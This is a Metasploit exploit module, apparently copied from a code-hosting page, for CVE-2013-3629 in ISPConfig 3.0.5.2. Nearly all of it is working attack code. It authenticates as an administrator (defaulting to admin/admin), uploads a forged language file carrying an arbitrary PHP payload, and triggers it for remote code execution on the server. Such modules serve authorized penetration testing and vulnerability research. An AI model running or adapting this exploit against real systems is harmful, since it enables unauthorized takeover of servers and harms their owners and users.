133 lines
3.8 KiB
Ruby
133 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',
|
|
'Description' => %q{
|
|
ISPConfig allows an authenticated administrator to export language settings into a PHP script
|
|
which is intended to be reuploaded later to restore language settings. This feature
|
|
can be abused to run aribtrary PHP code remotely on the ISPConfig server.
|
|
|
|
This module was tested against version 3.0.5.2.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2013-3629'],
|
|
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "&\n=+%",
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Oct 30 2013'))
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']),
|
|
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
|
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
|
|
OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es'])
|
|
], self.class)
|
|
end
|
|
|
|
def lng
|
|
datastore['LANGUAGE']
|
|
end
|
|
|
|
def exploit
|
|
|
|
init = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/index.php')
|
|
})
|
|
|
|
if !init or init.code != 200
|
|
fail_with(Failure::UnexpectedReply, "Error getting initial page.")
|
|
end
|
|
|
|
sess = init.get_cookies
|
|
|
|
post = {
|
|
'username' => datastore["USERNAME"],
|
|
'passwort' => datastore["PASSWORD"],
|
|
's_mod' => 'login',
|
|
's_pg' => 'index'
|
|
}
|
|
|
|
print_status("Authenticating as user: " << datastore["USERNAME"])
|
|
|
|
login = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/content.php'),
|
|
'vars_post' => post,
|
|
'cookie' => sess
|
|
})
|
|
|
|
if !login or login.code != 200
|
|
fail_with(Failure::NoAccess, "Error authenticating.")
|
|
end
|
|
|
|
sess = login.get_cookies
|
|
fname = rand_text_alphanumeric(rand(10)+6) + '.lng'
|
|
php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n"
|
|
php << "--|global|#{lng}|#{lng}.lng\n"
|
|
php << "<?php \n"
|
|
php << payload.encoded
|
|
php << "?>\n"
|
|
php << "--|mail|#{lng}|#{lng}.lng\n"
|
|
php << "<?php"
|
|
php << "?>"
|
|
|
|
data = Rex::MIME::Message.new
|
|
data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"")
|
|
data.add_part('1', nil, nil, 'form-data; name="overwrite"')
|
|
data.add_part('1', nil, nil, 'form-data; name="ignore_version"')
|
|
data.add_part('', nil, nil, 'form-data; name="id"')
|
|
|
|
data_post = data.to_s
|
|
|
|
print_status("Sending payload")
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
'data' => data_post,
|
|
'cookie' => sess
|
|
})
|
|
|
|
post = {
|
|
'lng_select' => 'es'
|
|
}
|
|
|
|
print_status("Triggering payload...")
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),
|
|
'vars_post' => post,
|
|
'cookie' => sess
|
|
})
|
|
end
|
|
end
|